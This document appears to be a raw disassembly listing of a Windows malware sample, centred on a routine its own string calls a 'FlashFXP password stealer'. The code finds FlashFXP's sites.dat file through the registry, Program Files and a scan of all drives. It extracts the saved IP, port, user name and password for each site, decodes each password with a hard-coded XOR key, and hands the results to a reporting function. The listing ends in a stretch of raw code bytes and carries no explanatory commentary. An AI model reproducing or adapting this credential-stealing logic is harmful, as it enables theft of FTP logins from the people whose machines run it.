		push	dword ptr [eax+10Ch]
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+106h]
		push	eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+104h]
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		push	offset dword_41D110
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset loc_4143B0
		call	sub_4095A4
		add	esp, 20h

locret_4147E3:				; CODE XREF: sub_414600:loc_414612j
					; sub_414600:loc_41463Ej ...
		leave
		retn
sub_414600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147E5	proc near		; CODE XREF: cAddress:00414D91p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
		lea	eax, [ebp+var_10]
		push	eax
		push	offset a02x	; "%02X"
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414816
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------


loc_414816:				; CODE XREF: sub_4147E5+28j
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax


loc_41481E:				; CODE XREF: sub_4147E5:loc_4148BEj
		lea	eax, [ebp+var_C]
		push	eax
		push	offset a02x	; "%02X"
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414842
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------


loc_414842:				; CODE XREF: sub_4147E5+54j
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_C]
		xor	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_C]
		jl	short loc_414866
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax


loc_414866:				; CODE XREF: sub_4147E5+78j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset a02x	; "%02X"
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414899
		xor	eax, eax
		jmp	short locret_4148CC
; ---------------------------------------------------------------------------


loc_414899:				; CODE XREF: sub_4147E5+AEj
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148B2
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"


loc_4148B2:				; CODE XREF: sub_4147E5+C4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148BE
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------


loc_4148BE:				; CODE XREF: sub_4147E5+D5j
		jmp	loc_41481E
; ---------------------------------------------------------------------------


loc_4148C3:				; CODE XREF: sub_4147E5+D7j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		push	1
		pop	eax

locret_4148CC:				; CODE XREF: sub_4147E5+2Cj
					; sub_4147E5+58j ...
		leave
		retn
sub_4147E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4148CE	proc near		; CODE XREF: cAddress:00414A4Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 104h
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		push	0
		push	0
		push	0
		push	[ebp+var_14]
		call	dword_41700C	; RegQueryValueExA
		mov	[ebp+var_10], eax
		push	[ebp+var_14]
		call	dword_417028	; RegCloseKey
		cmp	[ebp+var_10], 0
		jnz	short loc_414971
		push	offset aFlashfxp_exe1 ;	"FlashFXP.exe %1"
		push	4
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_414945
		jmp	loc_414A17
; ---------------------------------------------------------------------------


loc_414945:				; CODE XREF: sub_4148CE+70j
		push	offset aSites_dat ; "sites.dat"
		push	[ebp+var_18]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_18]
		add	eax, 0Fh
		push	eax
		mov	eax, [ebp+var_18]
		add	eax, 9
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	1
		pop	eax
		jmp	locret_414A1C
; ---------------------------------------------------------------------------


loc_414971:				; CODE XREF: sub_4148CE+55j
					; sub_4148CE:loc_414A17j
		push	104h
		push	[ebp+arg_0]
		push	offset aProgramfiles ; "ProgramFiles"
		call	dword_417104	; GetEnvironmentVariableA
		push	offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4149B0
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_4149B0:				; CODE XREF: sub_4148CE+DBj
		mov	eax, dword_419398
		mov	[ebp+var_C], eax


loc_4149B8:				; CODE XREF: sub_4148CE+143j
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 5
		jz	short loc_414A02
		cmp	[ebp+var_1C], 2
		jz	short loc_414A02
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aSflashfxpSites ; "%sFlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_414A02
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_414A02:				; CODE XREF: sub_4148CE+FBj
					; sub_4148CE+101j ...
		mov	al, byte ptr [ebp+var_C]
		add	al, 1
		mov	byte ptr [ebp+var_C], al
		movsx	eax, byte ptr [ebp+var_C]
		cmp	eax, 5Ah
		jnz	short loc_4149B8
		xor	eax, eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_414A17:				; CODE XREF: sub_4148CE+72j
		jmp	loc_414971
; ---------------------------------------------------------------------------

locret_414A1C:				; CODE XREF: sub_4148CE+9Ej
					; sub_4148CE+E0j ...
		leave
		retn
sub_4148CE	endp

; ---------------------------------------------------------------------------


loc_414A1E:				; DATA XREF: sub_414EB0+35o
		push	ebp
		mov	ebp, esp
		sub	esp, 5E0h
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-32Ch]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp-180h]
		push	eax
		call	sub_4148CE
		pop	ecx
		test	eax, eax
		jnz	short loc_414A6B
		push	dword ptr [ebp-32Ch]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_414EAC
; ---------------------------------------------------------------------------


loc_414A6B:				; CODE XREF: cAddress:00414A56j
		mov	eax, [ebp-32Ch]
		push	dword ptr [eax]
		push	offset unk_41D2E0
		lea	eax, [ebp-328h]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	dword ptr [ebp-184h], 0
		and	dword ptr [ebp-334h], 0
		mov	al, [ebp-190h]
		mov	[ebp-330h], al
		and	byte ptr [ebp-190h], 0
		push	offset aRb	; "rb"
		lea	eax, [ebp-180h]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp-3C4h], eax
		cmp	dword ptr [ebp-3C4h], 0
		jnz	short loc_414ACF
		jmp	loc_414EAA
; ---------------------------------------------------------------------------


loc_414ACF:				; CODE XREF: cAddress:00414AC8j
		push	2
		push	0
		push	dword ptr [ebp-3C4h]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	dword ptr [ebp-3C4h]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp-3C0h], eax
		cmp	dword ptr [ebp-3C0h], 100000h
		jnb	short loc_414B0D
		mov	eax, [ebp-3C0h]
		mov	[ebp-5E0h], eax
		jmp	short loc_414B17
; ---------------------------------------------------------------------------


loc_414B0D:				; CODE XREF: cAddress:00414AFDj
		mov	dword ptr [ebp-5E0h], 100000h


loc_414B17:				; CODE XREF: cAddress:00414B0Bj
		mov	eax, [ebp-5E0h]
		mov	[ebp-3C0h], eax
		push	0
		push	0
		push	dword ptr [ebp-3C4h]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		mov	eax, [ebp-3C0h]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp-3BCh], eax
		cmp	dword ptr [ebp-3BCh], 0
		jnz	short loc_414B63
		push	dword ptr [ebp-3C4h]
		call	sub_416B82	; fclose
		pop	ecx
		jmp	loc_414EA8
; ---------------------------------------------------------------------------


loc_414B63:				; CODE XREF: cAddress:00414B50j
		push	dword ptr [ebp-3C4h]
		push	dword ptr [ebp-3C0h]
		push	1
		push	dword ptr [ebp-3BCh]
		call	sub_416B90	; fread
		add	esp, 10h
		push	dword ptr [ebp-3C4h]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp-3BCh]
		add	eax, [ebp-3C0h]
		and	byte ptr [eax],	0
		mov	eax, [ebp-3BCh]
		mov	[ebp-3B8h], eax


loc_414BA6:				; CODE XREF: cAddress:00414E46j
		push	offset asc_41D2D8 ; "\r\n\r\n["
		push	dword ptr [ebp-3B8h]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp-5DCh], eax
		mov	eax, [ebp-3B8h]
		mov	[ebp-5D0h], eax
		push	offset aIp	; "\r\nIP="
		push	dword ptr [ebp-3B8h]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp-5C8h], eax
		push	offset aPort	; "\r\nPort="
		push	dword ptr [ebp-3B8h]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp-5D8h], eax
		push	offset aUser	; "\r\nUser="
		push	dword ptr [ebp-3B8h]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp-5CCh], eax
		push	offset aPass	; "\r\nPass="
		push	dword ptr [ebp-3B8h]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp-5D4h], eax
		cmp	dword ptr [ebp-5C8h], 0
		jz	loc_414E13
		cmp	dword ptr [ebp-5DCh], 0
		jz	short loc_414C52
		mov	eax, [ebp-5C8h]
		cmp	eax, [ebp-5DCh]
		jnb	loc_414E13


loc_414C52:				; CODE XREF: cAddress:00414C3Ej
		cmp	dword ptr [ebp-5D8h], 0
		jz	loc_414E13
		cmp	dword ptr [ebp-5DCh], 0
		jz	short loc_414C7A
		mov	eax, [ebp-5D8h]
		cmp	eax, [ebp-5DCh]
		jnb	loc_414E13


loc_414C7A:				; CODE XREF: cAddress:00414C66j
		cmp	dword ptr [ebp-5CCh], 0
		jz	loc_414E13
		cmp	dword ptr [ebp-5DCh], 0
		jz	short loc_414CA2
		mov	eax, [ebp-5CCh]
		cmp	eax, [ebp-5DCh]
		jnb	loc_414E13


loc_414CA2:				; CODE XREF: cAddress:00414C8Ej
		cmp	dword ptr [ebp-5D4h], 0
		jz	loc_414E13
		cmp	dword ptr [ebp-5DCh], 0
		jz	short loc_414CCA
		mov	eax, [ebp-5D4h]
		cmp	eax, [ebp-5DCh]
		jnb	loc_414E13


loc_414CCA:				; CODE XREF: cAddress:00414CB6j
		and	byte ptr [ebp-4C4h], 0
		mov	al, [ebp-4C4h]
		mov	[ebp-3B4h], al
		mov	al, [ebp-3B4h]
		mov	[ebp-5C4h], al
		mov	al, [ebp-5C4h]
		mov	[ebp-444h], al
		mov	al, [ebp-444h]
		mov	[ebp-544h], al
		lea	eax, [ebp-544h]
		push	eax
		push	offset asc_41D2AC ; "[%[^]]]\r\n"
		push	dword ptr [ebp-5D0h]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp-444h]
		push	eax
		push	offset aIp127s	; "\r\nIP=%127s\r\n"
		push	dword ptr [ebp-5C8h]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp-5C4h]
		push	eax
		push	offset aPort127s ; "\r\nPort=%127s\r\n"
		push	dword ptr [ebp-5D8h]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp-3B4h]
		push	eax
		push	offset aUser127s ; "\r\nUser=%127s\r\n"
		push	dword ptr [ebp-5CCh]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp-4C4h]
		push	eax
		push	offset aPass127s ; "\r\nPass=%127s\r\n"
		push	dword ptr [ebp-5D4h]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp-4C4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4147E5
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_414DA1
		jmp	loc_414E4B
; ---------------------------------------------------------------------------


loc_414DA1:				; CODE XREF: cAddress:00414D9Aj
		mov	eax, [ebp-334h]
		inc	eax
		mov	[ebp-334h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-544h]
		push	eax
		lea	eax, [ebp-5C4h]
		push	eax
		lea	eax, [ebp-444h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	eax
		lea	eax, [ebp-3B4h]
		push	eax
		push	dword ptr [ebp-334h]
		push	offset dword_41D240
		lea	eax, [ebp-328h]
		push	eax
		call	sub_40D53F
		add	esp, 20h
		mov	eax, [ebp-32Ch]
		cmp	dword ptr [eax+4], 0
		jz	short loc_414E13
		push	dword ptr [ebp-3BCh]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_414EA6
; ---------------------------------------------------------------------------


loc_414E13:				; CODE XREF: cAddress:00414C31j
					; cAddress:00414C4Cj ...
		mov	eax, [ebp-184h]
		inc	eax
		mov	[ebp-184h], eax
		mov	eax, [ebp-5DCh]
		mov	[ebp-3B8h], eax
		cmp	dword ptr [ebp-3B8h], 0
		jnz	short loc_414E37
		jmp	short loc_414E4B
; ---------------------------------------------------------------------------


loc_414E37:				; CODE XREF: cAddress:00414E33j
		mov	eax, [ebp-3B8h]
		add	eax, 4
		mov	[ebp-3B8h], eax
		jmp	loc_414BA6
; ---------------------------------------------------------------------------


loc_414E4B:				; CODE XREF: cAddress:00414D9Cj
					; cAddress:00414E35j
		push	dword ptr [ebp-3BCh]
		call	sub_416B4C	; free
		pop	ecx


loc_414E57:				; CODE XREF: cAddress:loc_414EA6j
		mov	al, [ebp-330h]
		mov	[ebp-190h], al
		push	3E8h
		call	dword_41709C	; Sleep
		push	dword ptr [ebp-184h]
		push	dword ptr [ebp-334h]
		mov	eax, [ebp-32Ch]
		push	dword ptr [eax]
		push	offset unk_41D204
		lea	eax, [ebp-328h]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_414E96:				; CODE XREF: cAddress:loc_414EA8j
					; cAddress:loc_414EAAj
		push	dword ptr [ebp-32Ch]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_414EAC
; ---------------------------------------------------------------------------


loc_414EA6:				; CODE XREF: cAddress:00414E0Ej
		jmp	short loc_414E57
; ---------------------------------------------------------------------------


loc_414EA8:				; CODE XREF: cAddress:00414B5Ej
		jmp	short loc_414E96
; ---------------------------------------------------------------------------


loc_414EAA:				; CODE XREF: cAddress:00414ACAj
		jmp	short loc_414E96
; ---------------------------------------------------------------------------

locret_414EAC:				; CODE XREF: cAddress:00414A66j
					; cAddress:00414EA4j
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414EB0	proc near		; CODE XREF: sub_40A9CF+769p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414ECA
		jmp	short locret_414EF2
; ---------------------------------------------------------------------------


loc_414ECA:				; CODE XREF: sub_414EB0+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFlashfxpPasswo ; "FlashFXP password stealer"
		push	0
		push	[ebp+var_4]
		push	offset loc_414A1E
		call	sub_4095A4
		add	esp, 10h

locret_414EF2:				; CODE XREF: sub_414EB0+18j
		leave
		retn
sub_414EB0	endp

; ---------------------------------------------------------------------------
aOa		db '¸ÝoA',0             ; DATA XREF: sub_415AF0+40o
		db 0E8h, 12h, 1Fh
		dd 0EC810000h, 0FFCh, 0A7685756h, 0FF000001h, 858D0875h
		dd 0FFFFF410h, 1C38E850h, 0C4830000h, 875FF0Ch,	1C27E8h
		dd 0A5835900h, 0FFFFF600h, 0FC658300h, 0BD8300h, 0FFFFF6h
		dd 858B1274h, 0FFFFF600h, 0F6008D8Bh, 98BFFFFh,	851FF50h
		dd 0F600A583h, 6A00FFFFh, 6A006A00h, 858D00h, 50FFFFF6h
		dd 0DE5015FFh, 85890041h, 0FFFFF20Ch, 0F20CBD83h, 7D00FFFFh
		dd 10B5FF3Dh, 0E8FFFFF4h, 0FFFF47E3h, 30A58359h, 0FFFFF0h
		dd 0FFFC4D83h, 0F600BD83h, 7400FFFFh, 858B12h, 8BFFFFF6h
		dd 0FFF6008Dh, 50098BFFh, 8B0851FFh, 0FFF03085h, 0B2EE9FFh
		dd 65830000h, 45C600F0h, 7D8301FCh, 0C7400F0h, 8BF0458Bh
		dd 98BF04Dh, 851FF50h, 0F06583h, 0F600BD83h, 7500FFFFh
		dd 4003680Ah, 5DE88000h, 8B00001Eh, 0FFF60085h,	208589FFh
		dd 8DFFFFF0h, 6A50F045h, 8B006A00h, 0FFF02085h,	0FF008BFFh
		dd 0FFF020B5h, 3850FFFFh, 0F0248589h, 0BD83FFFFh, 0FFFFF024h
		dd 68167D00h, 41D570h, 0F020B5FFh, 0B5FFFFFFh, 0FFFFF024h
		dd 1E21E8h, 24858B00h, 89FFFFF0h, 0FFF20C85h, 0CBD83FFh
		dd 0FFFFF2h, 0B5FF537Dh, 0FFFFF410h, 0FF4716E8h, 0A58359FFh
		dd 0FFFFF02Ch, 0FC658000h, 0F07D8300h, 8B0C7400h, 4D8BF045h
		dd 50098BF0h, 830851FFh, 83FFFC4Dh, 0FFF600BDh,	127400FFh
		dd 0F600858Bh, 8D8BFFFFh, 0FFFFF600h, 0FF50098Bh, 858B0851h
		dd 0FFFFF02Ch, 0A4BE9h,	10858B00h, 0FFFFFFF4h, 0D53C6830h
		dd 858D0041h, 0FFFFF414h, 8491E850h, 0C483FFFFh, 0ECA5830Ch
		dd 0FFFFFDh, 0F5AC858Ah, 8588FFFFh, 0FFFFF5ECh,	0F5ACA580h
		dd 8300FFFFh, 7500F07Dh, 4003680Ah, 65E88000h, 6A00001Dh
		dd 0F0858D00h, 50FFFFF5h, 458B016Ah, 8589F0h, 8BFFFFF0h
		dd 0FFF00085h, 0FF008BFFh, 0FFF000B5h, 0C50FFFFh, 850FC085h
		dd 951h, 0F410858Bh, 7883FFFFh,	5740004h, 940E9h, 10EC8300h
		dd 0F5F0B58Dh, 0FC8BFFFFh, 0A5A5A5A5h, 41D53868h, 0B8858D00h
		dd 50FFFFF5h, 71E015FFh, 0C4830041h, 8A58318h, 0FFFFF2h
		dd 2FC45C6h, 0F208BD83h, 7400FFFFh, 8858B12h, 8BFFFFF2h
		dd 0FFF2088Dh, 50098BFFh, 830851FFh, 0FFF208A5h, 0BD8300FFh
		dd 0FFFFF600h, 680A7500h, 80004003h, 1CC3E8h, 858B00h
		dd 89FFFFF6h, 0FFF01885h, 8858DFFh, 50FFFFF2h, 858D006Ah
		dd 0FFFFF5F0h, 8B006A50h, 0FFF01885h, 0FF008BFFh, 0FFF018B5h
		dd 3C50FFFFh, 0F01C8589h, 0BD83FFFFh, 0FFFFF01Ch, 68167D00h
		dd 41D570h, 0F018B5FFh,	0B5FFFFFFh, 0FFFFF01Ch,	1C7DE8h
		dd 1C858B00h, 89FFFFF0h, 0FFF20C85h, 8BD83FFh, 0FFFFF2h
		dd 3680A75h, 0E8800040h, 1C50h,	858D006Ah, 0FFFFF1F8h
		dd 8B016A50h, 0FFF20885h, 0FC8589FFh, 8BFFFFEFh, 0FFEFFC85h
		dd 0FF008BFFh, 0FFEFFCB5h, 0C50FFFFh, 850FC085h, 815h
		dd 0F1ECA583h, 0C600FFFFh, 8303FC45h, 0FFF1ECBDh, 127400FFh
		dd 0F1EC858Bh, 8D8BFFFFh, 0FFFFF1ECh, 0FF50098Bh, 0A5830851h
		dd 0FFFFF1ECh, 0BD8300h, 0FFFFF6h, 3680A75h, 0E8800040h
		dd 1BE0h, 0F600858Bh, 8589FFFFh, 0FFFFF010h, 0F1EC858Dh
		dd 6A50FFFFh, 0F8858D00h, 50FFFFF1h, 0F5F0858Dh, 6A50FFFFh
		dd 10858B00h, 8BFFFFF0h, 10B5FF00h, 0FFFFFFF0h,	85895450h
		dd 0FFFFF014h, 0F014BD83h, 7D00FFFFh, 0D5706816h, 0B5FF0041h
		dd 0FFFFF010h, 0F014B5FFh, 93E8FFFFh, 8B00001Bh, 0FFF01485h
		dd 0F08589FFh, 83FFFFF1h, 0FFF1ECBDh, 0A7500FFh, 400368h
		dd 1B66E880h, 6A0000h, 0F1F4858Dh, 6A50FFFFh, 0EC858B01h
		dd 89FFFFF1h, 0FFEFF885h, 0F8858BFFh, 8BFFFFEFh, 0F8B5FF00h
		dd 0FFFFFFEFh, 0C0850C50h, 707850Fh, 0B5FF0000h, 0FFFFF1F4h
		dd 41D53468h, 0F0858D00h, 50FFFFFDh, 71E015FFh,	0C4830041h
		dd 0E8A5830Ch, 0FFFFF1h, 0F118A583h, 8300FFFFh,	0FFF11CA5h
		dd 0BD8300FFh, 0FFFFF600h, 680A7500h, 80004003h, 1AF3E8h
		dd 0F4858B00h, 89FFFFF1h
		db 85h
byte_415355	db 4, 0F0h, 0FFh	; DATA XREF: cAddress:off_419100o
		dd 858BFFh, 89FFFFF6h, 0FFF00885h, 0FF006AFFh, 0FFF11CB5h
		dd 18858DFFh, 50FFFFF1h, 0F1E8858Dh, 0FF50FFFFh, 0FFF004B5h
		dd 0F8858DFFh, 50FFFFF1h, 0F5F0858Dh, 6A50FFFFh, 8858B00h
		dd 8BFFFFF0h, 8B5FF00h,	0FFFFFFF0h, 85894450h, 0FFFFF00Ch
		dd 0F00CBD83h, 7D00FFFFh, 0D5706816h, 0B5FF0041h, 0FFFFF008h
		dd 0F00CB5FFh, 87E8FFFFh, 8B00001Ah, 0FFF00C85h, 0F08589FFh
		dd 0FFFFFFF1h, 0FFF118B5h, 1762E8FFh, 8B590000h, 0FFF1E88Dh
		dd 0C13B49FFh, 89830Fh,	0A5830000h, 0FFFFF114h,	10A58300h
		dd 0FFFFF1h, 858B0EEBh,	0FFFFF110h, 85894040h, 0FFFFF110h
		dd 0F110858Bh, 853BFFFFh, 0FFFFF1E8h, 858B4D73h, 0FFFFF118h
		dd 0F1108503h, 0B60FFFFFh, 75C08500h, 14858B10h, 0C6FFFFF1h
		dd 0F6040584h, 0EB2CFFFFh, 18858B1Bh, 3FFFFF1h,	0FFF11085h
		dd 148D8BFFh, 8AFFFFF1h, 0D848800h, 0FFFFF604h,	0F114858Bh
		dd 8940FFFFh, 0FFF11485h, 8B97EBFFh, 0FFF11485h, 5A480FFh
		dd 0FFFFF603h, 0FF1BEB00h, 0FFF118B5h, 8B6468FFh, 858D0041h
		dd 0FFFFF604h, 0E015FF50h, 83004171h, 680CC4h, 8D0041DEh
		dd 0FFF80485h, 15FF50FFh, 4170FCh, 41DE0068h, 10858D00h
		dd 50FFFFF2h, 70FC15FFh, 28680041h, 8D0041D5h, 0FFF5B885h
		dd 15FF50FFh, 417108h, 4075C085h, 0FDEC858Bh, 8940FFFFh
		dd 0FFFDEC85h, 85BE0FFFh, 0FFFFF5A9h, 2875C085h, 0F604858Dh
		dd 8D50FFFFh, 0FFFDF085h, 0B5FF50FFh, 0FFFFFDECh, 41D4E868h
		dd 14858D00h, 50FFFFF4h, 0FF8036E8h, 14C483FFh,	41D4DC68h
		dd 0B8858D00h, 50FFFFF5h, 710815FFh, 0C0850041h, 0A8850Fh
		dd 680000h, 8D0041DEh, 0FFF12085h, 15FF50FFh, 4170FCh
		dd 4184FC68h, 4858D00h,	50FFFFF6h, 165FE8h, 85595900h
		dd 683874C0h, 4184FCh, 0F604858Dh, 0E850FFFFh, 1648h, 50405959h
		dd 0F120858Dh, 0FF50FFFFh, 4170FC15h, 84FC6800h, 858D0041h
		dd 0FFFFF604h, 1626E850h, 59590000h, 8B002080h,	0FFFDEC85h
		dd 858940FFh, 0FFFFFDECh, 3E868h, 9C15FF00h, 8D004170h
		dd 0FFF12085h, 858D50FFh, 0FFFFF604h, 0F0858D50h, 50FFFFFDh
		dd 0FDECB5FFh, 8468FFFFh, 8D0041D4h, 0FFF41485h, 74E850FFh
		dd 83FFFF7Fh, 786818C4h, 8D0041D4h, 0FFF5B885h,	15FF50FFh
		dd 417108h, 850FC085h, 25Ah, 0F038A583h, 0C700FFFFh, 0FFF10485h
		dd 1FFh, 34A58300h, 0FFFFF0h, 858B0EEBh, 0FFFFF034h, 85894040h
		dd 0FFFFF034h, 0F034858Bh, 853BFFFFh, 0FFFFF1E8h, 0B2830Fh
		dd 858B0000h, 0FFFFF118h, 0F0348503h, 0B60FFFFFh, 75C08500h
		dd 38858B1Dh, 0C6FFFFF0h, 0F6040584h, 8B2CFFFFh, 0FFF03885h
		dd 858940FFh, 0FFFFF038h, 858B7DEBh, 0FFFFF118h, 0F0348503h
		dd 8AFFFFh, 0DC15FF50h,	85004171h, 8B3C75C0h, 0FFF11885h
		dd 348503FFh, 0FFFFFF0h, 0F88300B6h, 8B287440h,	0FFF11885h
		dd 348503FFh, 0FFFFFF0h, 0F88300B6h, 8B14742Eh,	0FFF11885h
		dd 348503FFh, 0FFFFFF0h, 0F88300B6h, 8B28755Fh,	0FFF11885h
		dd 348503FFh, 8BFFFFF0h, 0FFF0388Dh, 88008AFFh,	0F6040D84h
		dd 858BFFFFh, 0FFFFF038h, 38858940h, 0E9FFFFF0h, 0FFFFFF2Eh
		dd 0F038858Bh, 0A480FFFFh, 0FFF60305h, 858D00FFh, 0FFFFF606h
		dd 0F10C8589h, 0A583FFFFh, 0FFFFF108h, 8B0DEB00h, 0FFF10885h
		dd 858940FFh, 0FFFFF108h, 0F118858Bh, 0B60FFFFFh, 85390440h
		dd 0FFFFF108h, 1288D0Fh, 858B0000h, 0FFFFF10Ch,	858D5040h
		dd 0FFFFF03Ch, 0FC15FF50h, 68004170h, 41D474h, 0F03C858Dh
		dd 0E850FFFFh, 1468h, 0C0855959h, 74681674h, 8D0041D4h
		dd 0FFF03C85h, 51E850FFh, 59000014h, 208059h, 41D47468h
		dd 0C858B00h, 40FFFFF1h, 143AE850h, 59590000h, 2474C085h
		dd 41D47468h, 0C858B00h, 40FFFFF1h, 1422E850h, 59590000h
		dd 8D504040h, 0FFF0A085h, 15FF50FFh, 4170FCh, 41D47468h
		dd 0A0858D00h, 50FFFFF0h, 13FFE8h, 85595900h, 681674C0h
		dd 41D474h, 0F0A0858Dh,	0E850FFFFh, 13E8h, 20805959h, 0D4746800h
		dd 858B0041h, 0FFFFF10Ch, 0D1E85040h, 59000013h, 8DF08B59h
		dd 0FFF0A085h, 15FF50FFh, 41703Ch, 906448Dh, 0F10C8589h
		dd 858BFFFFh, 0FFFFFDECh, 0EC858940h, 68FFFFFDh, 3E8h
		dd 709C15FFh, 0BE0F0041h, 0FFF5A985h, 75C085FFh, 0A0858D28h
		dd 50FFFFF0h, 0F03C858Dh, 0FF50FFFFh, 0FFFDECB5h, 0D43468FFh
